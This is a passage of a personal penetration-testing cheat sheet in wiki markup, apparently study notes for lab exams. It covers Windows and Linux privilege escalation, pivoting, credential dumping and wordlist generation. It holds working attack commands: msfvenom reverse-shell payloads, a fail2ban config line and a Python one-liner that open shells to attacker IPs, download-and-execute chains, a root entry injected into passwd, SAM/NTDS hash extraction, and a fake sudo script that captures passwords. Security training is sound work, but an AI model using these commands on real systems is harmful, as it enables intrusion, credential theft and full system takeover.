PS C:\scripts> Get-SeBackupPrivilege # ...or whoami /priv | findstr Backup
SeBackupPrivilege is disabled
PS C:\scripts> dir E:\V_BASE
Get-ChildItem : Access to the path 'E:\V_BASE' is denied.
At line:1 char:4
+ dir Set-SeBackupPrivilege
PS C:\scripts> Get-SeBackupPrivilege
SeBackupPrivilege is enabled
PS C:\scripts> dir E:\V_BASE # ...having enabled the privilege, this now works

Directory: E:\V_BASE

Mode LastWriteTime Length Name
---- ------------- ------ ----
d---- 18/07/2013 13:04 Private
PS C:\scripts> cd E:\V_BASE\Private
PS E:\V_BASE\Private> dir

Directory: E:\V_BASE\Private

Mode LastWriteTime Length Name
---- ------------- ------ ----
----- 05/07/2013 12:29 306435 report.pdf
PS E:\V_BASE\Private> Copy-FileSeBackupPrivilege .\report.pdf c:\temp\x.pdf -Overwrite
Copied 306435 bytes
PS E:\V_BASE\Private>

-------------------
# Example 2
Copy-FileSeBackupPrivilege netlogon.dns \programdata\netlogon.dns
Copy-FileSeBackupPrivilege C:\Windows\ntds\ntds.dit .
</syntaxhighlight>

===== SeCreateTokenPrivilege =====

<syntaxhighlight lang="bash">
# https://www.greyhathacker.net/?p=1025
Try running it many times
</syntaxhighlight>

==== SMBGhost ====

<syntaxhighlight lang="bash">
# CVE-2020-0796
# https://github.com/danigargu/CVE-2020-0796
# Compile it with Visual Studios. Change payload in exploit.cpp line 204 and add msfvenom payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.49.60 LPORT=8081 -f dll -f csharp
# Compile it. Change 'debug' to 'release', set correct architecture.
# Transfer to target
.\cve-2020-0796.exe
</syntaxhighlight>

==== Software ====

===== Iperius Backup 6.1.0 =====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/46863
</syntaxhighlight>

===== SystemScheduler =====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/45072
</syntaxhighlight>

==== Unquoted Service Path ====

<syntaxhighlight lang="bash">
# In order to exploit Unquoted service path we have to:
# - Be able to write to the target folder - Use icacls
# - Be able to restart the service or machine
# Exmaple (10.1.1.89)
icacls enterprisesystemmanager.exe # We have modify permissions
# Generate a payload
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.130 LPORT=443 -f exe > enterprisesystemmanager.exe
# Move original .exe to .bak
move enterprisesystemmanager.exe enterprisesystemmanger.exe.bak
# Transfer our payload to target location - C:\exacqVisionEsm\EnterpriseSystemManager
certutil -urlcache -split -f "http://192.168.119.130/enterprisesystemmanager.exe"
# Catche the connection
rlwrap nc -lvnp 443 1 ⨯
listening on [any] 443 ...
connect to [192.168.119.130] from (UNKNOWN) [10.11.1.251] 19085
Microsoft Windows [Version 10.0.15063]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
</syntaxhighlight>

==== Windows XP SP0/SP1 - UPNP service exploit ====

<syntaxhighlight lang="bash">
# https://sohvaxus.github.io/content/winxp-sp1-privesc.html
# Requirenment: Obtained a low privilege shell on your victim's computer. Operating system is Windows XP with SP0 or SP1 installed.
# See write up for PWK 10.11.1.14.
</syntaxhighlight>

==== Windows Exploit Suggester ====

<syntaxhighlight lang="python">
python2 windows-exploit-suggester.py --systeminfo sys.txt -d 2022-01-14-mssb.xls
</syntaxhighlight>

==== Windows Kernel Exploit list ====

<syntaxhighlight lang="bash">
https://github.com/SecWiki/windows-kernel-exploits
</syntaxhighlight>

==== xampp 7.3 ====

<syntaxhighlight lang="bash">
┌──(root💀kali)-[/home/aghanim/Desktop/PG/monster]
└─# cat exploit.ps1
# Exploit Title: XAMPP 7.4.3 - Local Privilege Escalation
# Exploit Author: Salman Asad (@LeoBreaker1411 / deathflash1411)
# Original Author: Maximilian Barz (@S1lkys)
# Date: 27/09/2021
# Vendor Homepage: https://www.apachefriends.org
# Version: XAMPP < 7.2.29, 7.3.x < 7.3.16 & 7.4.x < 7.4.4
# Tested on: Windows 10 + XAMPP 7.3.10
# References: https://github.com/S1lkys/CVE-2020-11107
$file = "C:\xampp\xampp-control.ini"
$find = ((Get-Content $file)[2] -Split "=")[1]
# Insert your payload path here
$replace = "C:\Users\Mike\Downloads\rev.exe"
(Get-Content $file) -replace $find, $replace | Set-Content $fil
</syntaxhighlight>

=== Linux ===

==== CVE ====

===== CVE-2009-2698 (Centos 4.8) =====

<syntaxhighlight lang="bash">
https://github.com/xiaoxiaoleo/CVE-2009-2698
</syntaxhighlight>

===== CVE-2021-4034 (polkit) =====

<syntaxhighlight lang="bash">
# https://github.com/joeammond/CVE-2021-4034
# Check suid and see if /usr/bin/pkexec is present and python
# Then compile and run
</syntaxhighlight>

===== CVE-2023–22809 (bypass sudo) =====

<syntaxhighlight lang="bash">
# https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466

</syntaxhighlight>

==== Fail2ban ====

<syntaxhighlight lang="bash">
# See PG Fail writeup
# Example reverse shell
# Option: actionban
# Notes.: command executed when banning an IP. Take care that the
# command is executed with Fail2Ban user rights.
# Tags: See jail.conf(5) man page
# Values: CMD
#
#actionban = -I f2b- 1 -s -j
actionban = /usr/bin/nc -e /bin/sh 192.168.49.243 9999
</syntaxhighlight>

==== Linux Kernel exploits ====

<syntaxhighlight lang="bash">
# Linux versions
# 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36
https://www.exploit-db.com/exploits/15285
# Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4)
https://www.exploit-db.com/exploits/44298
# Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27)
https://www.exploit-db.com/exploits/45010
</syntaxhighlight>

==== Copy Fail - CVE-2026-31431 ====
https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py

==== Dirty Frag: Universal Linux LPE ====
<syntaxhighlight lang="bash">
git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
</syntaxhighlight>

==== ld_reload - Dynamic library hijacking ====

<syntaxhighlight lang="bash">
# If binary is missing a library AND you have write permission to library location, you can hijack the library by adding a malicous one
# List Dynamic Dependencies = ldd
# Ldd is a powerful command-line tool that allows users to view an executable file's shared object dependencies.
ldd /usr/bin/log-sweeper
linux-vdso.so.1 => (0x00007ffe11833000)
utils.so => not found
libc.so.6 => /lib64/libc.so.6 (0x00007f6ce440c000)
/lib64/ld-linux-x86-64.so.2 (0x00007f6ce47da000)
# Generate .so payload
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.160 LPORT=21 -f elf-so > utils.so
</syntaxhighlight>

==== SUID ====

<syntaxhighlight lang="bash">
find / -perm -u=s -type f 2>/dev/null
</syntaxhighlight>

==== Setuid Screen 4.5.0 ====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/41154
</syntaxhighlight>

==== Sudo ====

[https://github.com/saleemrashid/sudo-cve-2019-18634 https://github.com/saleemrashid/sudo-cve-2019-18634]

[https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit]

==== Systemctl (Misconfigured Permissions — sudo/SUID) ====

[https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49 https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49]

[https://blog.aghanim.net/wp-content/uploads/2022/11/Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium.pdf Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium][https://blog.aghanim.net/wp-content/uploads/2022/11/Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium.pdf Download]

==== Sudo permission to run apache restart ====

<syntaxhighlight lang="bash">
# If your user have these permissions
(root) NOPASSWD: /usr/sbin/service apache2 restart
# First check what file you have write permission to.
# If not, check if there are any bash scripts that can be edited and place a backdoor in it.
# Example
# envvars in /etc/apache2 is writeable.
# Change to another user if there are any on the machine
export APACHE_RUN_USER=DifferentUser
# REMEMBER, APACHE WONT LET YOU RUN IT AS ROOT.
</syntaxhighlight>

==== Software ====

===== Exim 4.84-3 =====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/39535
# If error, fix with
sed -i -e 's/\r$//' 39535.sh
</syntaxhighlight>

===== OpenSMTPD 6.4.0 < 6.6.1 =====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/48051
</syntaxhighlight>

==== Writeable passwd ====

<syntaxhighlight lang="bash">
# Generate hashed password
openssl passwd -1 -salt aghanim pass123
# Add to passwd on target
aghanim:$1$aghanim$VVrajbhbmkAgYcpIGLIuY1:0:0:root:/root:/bin/bash
</syntaxhighlight>

----

== Pivoting/tunneling technique ==

[https://blog.aghanim.net/?p=2294 https://blog.aghanim.net/?p=2294]

[https://trojand.com/cheatsheet/Network/Connections/SSH_Tunneling.html SSH Tunneling + SSHuttle and Chisel - Cheatsheet (trojand.com)]

[https://cheatsheet.haax.fr/network/pivot_techniques/ Offensive Security Cheatsheet (haax.fr)]

[https://github.com/twelvesec/port-forwarding GitHub - twelvesec/port-forwarding: Tunneling and Port Forwarding Cheat Sheet]

=== Chisel ===

<syntaxhighlight lang="bash">
# CHISEL AND PROXYCHAINS AND FOXYPROXY
# Using Chisel to make a proxy. Notice that the proxy port opens on 1080, rather than listening port (37777).
# Attacker machine
chisel server -p 37777 --reverse
# Target machine
./chisel client Attacker-IP:37777 R:socks
# Now in Proxychain config file /etc/proxychains4.conf add the proxy port
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 1080
# Now when you run can reach other target on the network using proxychains. So it looks like this Attacker machine --SOCKS proxy --> 10.200.57.200 on port 1080 --> 10.200.57.150 (Unreachable from attacker).
proxychains nc -vn 10.200.57.150 3389
# Or in the case of the THM box Wreath. If I want to run the GitStack exploit from my attacker to 10.200.57.150 (Which is unreachable withouth proxy or tunnel).
proxychains python2 exploit.py.
# OR by using foxy proxy if I want to access http.
# Add a new proxy. Proxy type = SOCKS5 (chisel uses socks5), IP = 127.0.0.1, Port = Proxy prot (1080).
# And start foxy proxy. Now I can access the webserver on.
# I can also use proxychains to access HTTP.
proxychains firefox.
# This will open firefox through proxychains.

# Using SOCKS5 with chisel
./chisel server -v -p 8000 --socks5
# On the client/target/victim machine
chisel.exe client -v attacker.com:8000 socks
</syntaxhighlight>

=== Ligolo-ng ===

[https://github.com/nicocha30/ligolo-ng https://github.com/nicocha30/ligolo-ng]

<syntaxhighlight lang="bash">
#### LINUX
# Prepare tunnel
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
# Start proxy on kali
./proxy -laddr 192.168.45.195:53 -selfcert
# On target
./agent -connect 192.168.45.195:53 -ignore-cert
# See session in ligolo proxy
ligolo-ng» session
# Add pivot to internal network on kali
sudo ip r add 172.16.213.0/24 dev ligolo
# Check ip route
ip route
default via 10.0.2.2 dev eth0 proto dhcp src 10.0.2.15 metric 100
10.0.2.0/24 dev eth0 proto kernel scope link src 10.0.2.15 metric 100
172.16.213.0/24 dev ligolo scope link
192.168.45.0/24 dev tun0 proto kernel scope link src 192.168.45.195
192.168.213.0/24 via 192.168.45.254 dev tun0

# In ligolo - in correct session
[Agent: user@target] » start
</syntaxhighlight>

<syntaxhighlight lang="bash">
#### WINDOWS
# To set up the Ligolo-ng proxy on a Windows machine, follow these steps:
# Download Ligolo-ng Proxy:
# Visit the Ligolo-ng GitHub Releases page and download the latest proxy.exe suitable for your Windows architecture.
# Install Wintun Driver:
# Ligolo-ng requires the Wintun driver to create a TUN interface on Windows.
# Download the appropriate wintun.dll from the Wintun repository.
# Place the wintun.dll file in the same directory as proxy.exe.
# Run the Proxy:
# Open Command Prompt and navigate to the directory containing proxy.exe and wintun.dll.
# Execute the proxy with a self-signed certificate:
proxy.exe -selfcert
# This command starts the proxy server with a self-signed TLS certificate.
# Configure the Agent:
# On the target machine, download the corresponding agent binary from the Ligolo-ng GitHub Releases page.
# Run the agent, specifying the IP address and port of your Windows machine running the proxy:
agent.exe -connect :11601 -ignore-cert
# Replace with the actual IP address of your proxy machine.
# Manage Sessions:
# In the proxy's command interface, use the session command to list active sessions.
# Select the desired session to interact with the connected agent.
# Start Tunneling:
# Within the selected session, initiate the tunnel:
tunnel_start --tun
# Replace with your chosen name for the TUN interface.
# Set Up Routing:
# Determine the network configuration of the agent using the ifconfig command within the session.
# On your Windows proxy machine, add routes to access the target network:
route add mask
# Replace , , and with the appropriate values based on the agent's network configuration.

</syntaxhighlight>

=== meterpreter ===

<syntaxhighlight lang="bash">
# Use autoroute module to create a pivot for the other network
use post/multi/manage/autoroute
set SUBNET 192.72.180.0
set SESSION 2
exploit
# Set up a system-wide proxy by using auxiliary/server/socks4a module. Change the default SRVPORT (i.e. 1080) to match the default port of proxychains i.e. 9050.
use auxiliary/server/socks_proxy # Or try socks5
show options
set SRVPORT 9050
exploit
# Now you can use proxychains
# DISCOVER OTHER HOSTS ON THE NETWORK
# On windows you can use post/windows/gather/arp_scanner to discover other machines
# On Linux you can try arp -a
</syntaxhighlight>

=== SSH ===

<syntaxhighlight lang="bash">
ssh -D 1337 user@172.16.0.5 -fN
# Now use proxychains
# If you want to nmap without proxychains
nmap -sS 1.2.3.4 --proxy 127.0.0.1:1080
</syntaxhighlight>

=== sshuttle ===

<syntaxhighlight lang="bash">
# Synopsis
sshuttle [options] -r [username@]sshserver[:port]
# Example
sshuttle -r linux-admin@10.200.122.33 10.200.122.0/24
</syntaxhighlight>

----

== Port Forwarding techniques ==

<syntaxhighlight lang="bash">
# Windows
plink.exe -l root -R 445:127.0.0.1:445 YOURIPADDRESS
# Metasploit
portfwd add -l 9090 -p 9090 -r TARGETIP
# Reverse ssh tunnel, port forwarding 8090 from target to us:
ssh -R 8090:localhost:8090 user@ip
# Local port forward, forward local 8090 to target:
ssh -L 8090:localhost:8090 user@ip
# Chisel
# Example: forward port 8888 to attacker using chisel
# Attacker machine
chisel server -p 8000 --reverse
# Target
chisel.exe client 10.10.14.20:8000 R:8888:localhost:8888
# Connection received on attacker machine
server: proxy#1:R:0.0.0.0:8888=>localhost:8888: Listening
</syntaxhighlight>

=== SSH ===

<syntaxhighlight lang="bash">
# Synopsis
ssh -i id_rsa -L [bind_address]port:host:hostport] username@host
# Example
ssh -i id_rsa -L 8000:127.0.0.1:8000 donkeykong@10.10.10.100
</syntaxhighlight>

=== Chisel ===

Example: forward port 8888 to attacker using chisel

<syntaxhighlight lang="bash">
# Attacker machine
chisel server -p 8000 --reverse
# Target
chisel.exe client 10.10.14.20:8000 R:8888:localhost:8888
# Connection received on attacker machine
server: proxy#1:R:0.0.0.0:8888=>localhost:8888: Listening
</syntaxhighlight>

----

== Python ==

=== Decompile ===

<syntaxhighlight lang="python">
# https://github.com/rocky/python-decompile3
# Translate python bytecode to python source code.
$ python pyinstxtractor.py
# Decompile .pyc
# https://github.com/zrax/pycdc
git clone https://github.com/zrax/pycdc
cd pycdc
cmake .
make
make check
python pycdc C:\Users\Bobby\example.pyc
</syntaxhighlight>

=== Load module ===

<syntaxhighlight lang="bash">
# If a python script tries to load a module which does not exist, we can place our own module. # https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes
# Add a python reverse shell into the file
echo 'import os,pty,socket;s=socket.socket();s.connect(("192.168.49.165",22));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")' > module.py
</syntaxhighlight>

=== PDB (Python Debugger ===

[https://docs.python.org/3/library/pdb.html https://docs.python.org/3/library/pdb.html]

<syntaxhighlight lang="python">
# Add import pdb
import pdb
# In script, before an error message, add
pdb.set_trace()
# Example
-> url = url.group(1)
(Pdb) print url.group(1)
http://swagshop.htb/index.php/admin/das[...]
(Pdb) continue
</syntaxhighlight>

=== Python Extractor ===

<syntaxhighlight lang="python">
# https://github.com/extremecoders-re/pyinstxtractor
# Extract Pyinstaller. Content of pyz and pyc is extracted aswell
Python3 pyinstxtractor.py
</syntaxhighlight>

=== Simple HTTP Server ===

<syntaxhighlight lang="bash">
$python -m SimpleHTTPServer
$python -m http.server
</syntaxhighlight>

----

== Symbolic Link (Windows) ==

<syntaxhighlight lang="bash">
# https://github.com/googleprojectzero/symboliclink-testing-tools/blob/main/CreateSymlink/CreateSymlink_readme.txt
# See Symbolic box for example of how to exploit this. In the example below a backup script was copying request.log and saving it in a log. Creating a symbolic link as shown below, the content of id_rsa will be copied by the script and saved, making it possible for me to read it.
.\CreateSymlink.exe C:\xampp\htdocs\logs\request.log C:\Users\Administrator\.ssh\id_rsa
</syntaxhighlight>

----

== Wordlists ==

=== Cewl - Generate wordlist ===

<syntaxhighlight lang="bash">
# Will create a wordlist from words in the URL, and add numbers.
cewl --with-numbers > wordlist
# Scan to a depth of 2 (-d 2) and use a minimum word length of 5 (-m 5), save the words to a file (-w docswords.txt), targeting the given URL (https://example.com)
cewl -d 2 -m 5 -w docswords.txt https://example.com
</syntaxhighlight>

=== Cupp ===

[https://github.com/Mebus/cupp https://github.com/Mebus/cupp]

<syntaxhighlight lang="bash">
python3 cupp.py -i # Interactive mode where you fill out information about the person
</syntaxhighlight>

=== Datelist - Generate date wordlist ===

[https://raw.githubusercontent.com/screetsec/BruteSploit/master/tools/datelist Source]

<syntaxhighlight lang="bash">
# Generate date list with yyyy-mm-dd format
./datelist.sh -b 2020-01-01 -e 2020-12-31 -f yyyymmdd -o wordlist -s -
-b = beginning date
-e = end date
-f = format
-o = output
-s = spacing
</syntaxhighlight>

=== Seclists ===

[https://github.com/danielmiessler/SecLists/ https://github.com/danielmiessler/SecLists/]

=== Python script ===

<syntaxhighlight lang="python">
import itertools
words = ["firmanavn", "sommer", "prod",
"dev", "database", "app", "server",
"test", "oracle", "doc", "admin", "db",
"password", "administrator", "tech"]
combo = itertools.combinations(words, 2)
combo = list(combo)

with open("/home/kali/wordlist.txt", "w+") as wordlist:
for i in combo:
wordlist.write(i[0] + "." + i[1])
wordlist.write("\n")
wordlist.write(i[0].capitalize() + "." + i[1].capitalize())
wordlist.write("\n")

for i in range(0,2023):
for v in words:
word = v + str(i) + "\n"
wordlist.write(word)
word = v.capitalize() + str(i) + "\n"
wordlist.write(word)
word = v + str(i) + "!" + "\n"
wordlist.write(word)
word = v.capitalize() + str(i) + "!" + "\n"
wordlist.write(word)
</syntaxhighlight>

----

== Useful Linux Commands ==

=== Add SUID (setuid) bit to file ===

<syntaxhighlight lang="bash">
chmod 4755 /tmp/sh
</syntaxhighlight>

=== Add user to sudoers file ===

<syntaxhighlight lang="bash">
# Add User to sudoers file
echo username ALL=(ALL) ALL >> sudoers
</syntaxhighlight>

=== BruteForce using su when having a shell - Password Spray ===

<syntaxhighlight lang="bash">
https://github.com/carlospolop/su-bruteforce
./su.sh -u ray -w xato-net-10-million-passwords-10000.txt
</syntaxhighlight>

=== Cat, cut delimeter ===

<syntaxhighlight lang="bash">
# Cat a file and cut delimiter space in field 3
cat $log | cut -d' ' -f3-
</syntaxhighlight>

=== Copy output to clipboard ===

<syntaxhighlight lang="bash">
cat file | xclip -selection clipboard
</syntaxhighlight>

=== Enable cursor in Terminal Kali ===

<syntaxhighlight lang="bash">
tput cnorm
</syntaxhighlight>

=== Output tty to shell or redirect to file ===

<syntaxhighlight lang="bash">
# From eavsdropper room in THM
# If a user types in his password and you have a shell you can redirect output to your shell.
cat sudo
#!/bin/bash
read password
echo $password > /dev/pty/0 # Choose the correct pty.
# Now export PATH så when the user runs the command it will execute your sudo script instead of real sudo.
# Run
export $PATH=/tmp:$PATH
# Now wait for the user to type his password and it will pop up in your shell.
</syntaxhighlight>

=== Kill/close open port on linux ===

<syntaxhighlight lang="bash">
fuser -k PORT/tcp
</syntaxhighlight>

=== Reset kali to default settings ===

BE CAREFUL AS THIS MIGHT BREAK SOME PACKAGES. Always take snapshot before running the commands below.

<syntaxhighlight lang="bash">
# If you're having problems with kali acting up, you can reset kali to default.
# To reset Kali Linux to the default package and kernel, you will need to run the following commands:
sudo apt-get update && sudo apt-get upgrade
sudo apt-get dist-upgrade
sudo apt-get autoremove
sudo apt-get autoclean
sudo update-grub
</syntaxhighlight>

=== Restricted shell (rbash) - Linux Restricted Shell Bypass ===

<syntaxhighlight lang="bash">
# https://vk9-sec.com/linux-restricted-shell-bypass/
# List of escape methods
https://www.hacknos.com/rbash-escape-rbash-restricted-shell-escape/
# If in rshell (Restricted shell), use this command to list all available commands
compgen -c
# Rbash escape ssh
ssh alfred@10.11.1.101 -t 'bash' --noprofile
</syntaxhighlight>

[[File:2022-11-image-1.png|thumb]]

=== Read .db files ===

<syntaxhighlight lang="bash">
# For DB files, like users.db. Read content with sqlitebrowser
sqlitebrowser users.db
</syntaxhighlight>

=== Read Windows registry files on Linux ===

<syntaxhighlight lang="bash">
# Start hivexsh, and load a hive.
# https://linux.die.net/man/1/hivexsh
hivexsh
> load SECURITY
</syntaxhighlight>

=== ss instead of netstat ===

<syntaxhighlight lang="bash">
ss -tlpn
-t display tcp socket
-l display listening socket
-p show process using packets
-n dont resolve service name
</syntaxhighlight>

=== Fix Desktop Environment if its broken ===

<syntaxhighlight lang="bash">
https://www.kali.org/docs/general-use/xfce-faq/
If you are having issues, it may be that a config file is not set properly. First, backup .cache, .config, and .local. Next, running rm -r .cache .config .local and then rebooting will likely fix those issues.
REMEMBER TO DELETE IT FROM THE HOME USER and not root.
</syntaxhighlight>

=== Fix Kali Login loop ===

<syntaxhighlight lang="bash">
# On the login screen type
CTRL + ALT + F1
# then type this command from the home/kali dir.
sudo mv ~/.Xauthority ~/.Xauthority.backup sudo chmod 700 ~ sudo chown -R kali:kali ~ sudo service lightdm restart
</syntaxhighlight>

----

== Useful Windows Commands ==

=== Stealing SAM and SYSTEM ===

[https://book.hacktricks.xyz/windows-hardening/stealing-credentials https://book.hacktricks.xyz/windows-hardening/stealing-credentials]

This files should be '''located''' in ''C:\windows\system32\config\SAM'' and ''C:\windows\system32\config\SYSTEM.'' But '''you cannot just copy them in a regular way''' because they protected.

<syntaxhighlight lang="bash">
C:\windows\system32\config\SAM
C:\windows\system32\config\SYSTEM
C:\windows\system32\config\regback\system.old
C:\windows\system32\config\regback\system
C:\windows\system32\config\regback\sam.old
C:\windows\system32\config\regback\sam
</syntaxhighlight>

==== From Registry ====

The easiest way to steal those files is to get a copy from the registry:

<syntaxhighlight lang="bash">
reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security
</syntaxhighlight>

'''Download''' those files to your Kali machine and '''extract the hashes''' using:

<syntaxhighlight lang="bash">
samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL
</syntaxhighlight>

=== Check if shell is 64-bit ===

<syntaxhighlight lang="powershell">
[Environment]::Is64BitOperatingSystem
</syntaxhighlight>

=== Decompile .NET exe file ===

<syntaxhighlight lang="bash">
# Use dotpeek or dnSPY
https://www.jetbrains.com/decompiler/
https://github.com/dnSpy/dnSpy
</syntaxhighlight>

=== Dump hashes from NTDS.dit using secretdump.py ===

<syntaxhighlight lang="bash">
# Location C:\Windows\ or C:\Windows\System32\
/usr/bin/impacket-secretsdump LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt
</syntaxhighlight>

=== Dumping Domain password hasehs ===

<syntaxhighlight lang="bash">
# https://0xdf.gitlab.io/2020/10/03/htb-blackfield.html#diskshadow
https://pentestlab.blog/tag/diskshadow/
</syntaxhighlight>

=== Dump creds frol lsass.dmp ===

<syntaxhighlight lang="bash">
# https://github.com/skelsec/pypykatz
# See writeup for HTB Blackfield
pypykatz lsa minidump lsass.DMP
</syntaxhighlight>

=== Find writeable directories ===

<syntaxhighlight lang="bash">
# Find writable directories
dir /a-r-d /s /b
</syntaxhighlight>

=== Find .NET version using regkey ===

<syntaxhighlight lang="bash">
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"
</syntaxhighlight>

=== Executing MSI on Windows ===

<syntaxhighlight lang="bash">
msiexec /quiet /i cmd.msi
</syntaxhighlight>

=== Dump Windows Sam File ===

<syntaxhighlight lang="bash">
reg save hklm\sam c:\sam
reg save hklm\system c:\system
</syntaxhighlight>

=== Run a dll using rundll32.exe ===

<syntaxhighlight lang="bash">
rundll32 C:\Tools\TestDll.dll,run
</syntaxhighlight>

=== Registry dump passwords ===

<syntaxhighlight lang="bash">
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
</syntaxhighlight>

=== Registry dump autologon passwords ===

<syntaxhighlight lang="bash">
reg.exe query "HKLM\software\microsoft\windows nt\currentversion\winlogon"
</syntaxhighlight>

=== See WiFi password in cleartext ===

<syntaxhighlight lang="bash">
netsh wlan show profile
netsh wlan show profile Profile01 key=clear
</syntaxhighlight>

=== Enviroment variable Location ===

{| class="wikitable"
|-
| %ALLUSERSPROFILE%
| C:\Documents and Settings\All Users
|-
| %APPDATA%
| C:\Documents and Settings\Username\Application Data
|-
| %COMMONPROGRAMFILES%
| C:\Program Files\Common Files
|-
| %COMMONPROGRAMFILES(x86)%
| C:\Program Files (x86)\Common Files
|-
| %COMSPEC%
| C:\Windows\System32\cmd.exe
|-
| %HOMEDRIVE%
| C:\
|-
| %HOMEPATH%
| C:\Documents and Settings\Username
|-
| %PROGRAMFILES%
| C:\Program Files
|-
| %PROGRAMFILES(X86)%
| C:\Program Files (x86) (only in 64-bit version)
|-
| %SystemDrive%
| C:\
|-
| %SystemRoot%
| C:\Windows
|-
| %TEMP% and %TMP%
| C:\Documents and Settings\Username\Local Settings\Temp
|-
| %USERPROFILE%
| C:\Documents and Settings\Username
|-
| %WINDIR%
| C:\Windows
|}

=== List all PowerShell Accelators ===

<syntaxhighlight lang="powershell">
[psobject].assembly.gettype("System.Management.Automation.TypeAccelerators")::Get
Key Value
--- -----
Alias System.Management.Automation.AliasAttribute
AllowEmptyCollection System.Management.Automation.AllowEmptyCollectionAttribute
AllowEmptyString System.Management.Automation.AllowEmptyStringAttribute
AllowNull System.Management.Automation.AllowNullAttribute
ArgumentCompleter System.Management.Automation.ArgumentCompleterAttribute
array System.Array
bool System.Boolean
byte System.Byte
char System.Char
....
</syntaxhighlight>

----

== PROOFS ==

=== Linux ===

<syntaxhighlight lang="bash">
echo " ";echo "uname -a:";uname -a;echo " ";echo "hostname:";hostname;echo " ";echo "id";id;echo " ";echo "ifconfig:";/sbin/ifconfig -a;echo " ";echo "proof:";cat /root/proof.txt 2>/dev/null; cat /Desktop/proof.txt 2>/dev/null;echo " "
</syntaxhighlight>

=== Windows ===

<syntaxhighlight lang="bash">
echo. & echo. & echo whoami: & whoami 2> nul & echo %username% 2> nul & echo. & echo Hostname: & hostname & echo. & ipconfig /all & echo. & echo proof.txt: & type "C:\Documents and Settings\Administrator\Desktop\proof.txt"
</syntaxhighlight>

== HELP! I'm stuck - What to do when stuck ==

The list below is taken from [https://www.blakejarvis.com/oscp/oscp-things-to-try-when-stuck blakejarvis' notes.]

=== Initial access ===

==== Web discovery ====

* Search for <code>http://site/[hostname]</code> if you can't find a directory or software you think should exist.

* Try both GET and POST methods for all URLs given that may be blocking data via a particular HTTP method.

* Fuzz parameters with ffuf.

* Examine response headers for minor custom errors.

==== Getting a shell ====

* To save time, upload a web shell instead of manually executing PHP commands.

* Some PHP local file inclusion vulnerabilities can reference remote resources with <code>?path=http://[kali ip]/rev-shell.php</code>.

* Break up an exploit. Use Wireshark to watch for ICMP pings back home instead of going for a reverse shell right away.

* Instead of sharing a full rev shell payload, download an elf, +x, and execute it all in 1 command: <code>wget -P /tmp http://kali/shell.elf && chmod +x /tmp/shell.elf && /tmp/shell.elf</code>

* If a CMS has an RCE, look closely at what/where it's implemented. If it has /skins/ in a proof-of-concept URL, check for that functionality in admin panel or in online documentation.

* When calling back on a port (web request, shell, etc.) try multiple ports if the first fails.

* Piece together multiple initial access exploits. If one creates a web account and tries for a shell and fails, add <code>exit(0)</code> in the python script after the account is created and use the credentials for another exploit.

* Use the same ports the box has open for shell callbacks.

* Try at least 4 ports and ping when trying to get a callback.

* If you can control data being read to the server, always consider serialization.

* Always test payloads locally, especially if it's blind.

* Consider where can you write data to that's then read back in to the server.

==== General ====

* Don't spin wheels on other routes if something has a known exploit to root and it's a 10 pointer.

* Check version numbers to ensure something isn't a false flag.

* Consider similar protocols. If you get an SSH key, try using it over SCP.

* Type version numbers carefully!

* For hydra always do -e nsr. Example: <code>hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.1 ftp -vV -f -e nsr -I</code>

* Look for <code>auth-owners</code> in nmap to get usernames.

* FTP - always be in a directory on kali that's writable to download files.

* FTP brute force "admin".

* Search Metasploit modules for ideas [https://github.com/rapid7/metasploit-framework https://github.com/rapid7/metasploit-framework].

* Search a software's Github page for version files that would give specific information.

* See Proving Grounds' Dibble for node.js RCE.

* Review page source code for commented out areas for every page.

* Guess parameters. If there's a POST forgot_pass.php with an email param, try <code>GET /forgot_pass.php?email=%0aid.</code>

* Parameter/command injection fuzzing:
Payload list: [https://github.com/payloadbox/command-injection-payload-list github.com/payloadbox/command-injection-payload-list]

* <code>ffuf -w cmd-wordlist.txt -u 192.168.1.1/under_construction/forgot.php?email=abcdFUZZde</code>

* See Proving Grounds' Hetemit for an example

* When brute forcing credentials, guess the software name as the username and password.

* When dealing with file type uploads, try specifying just the header like GIF89a;. Files pulled from Google Images could be made different and not identified as a GIF.

=== Windows Privilege Escalation ===

* Explore the C:\ drive root. Some scheduled tasks can't be seen as a low level user could be located at C:\.

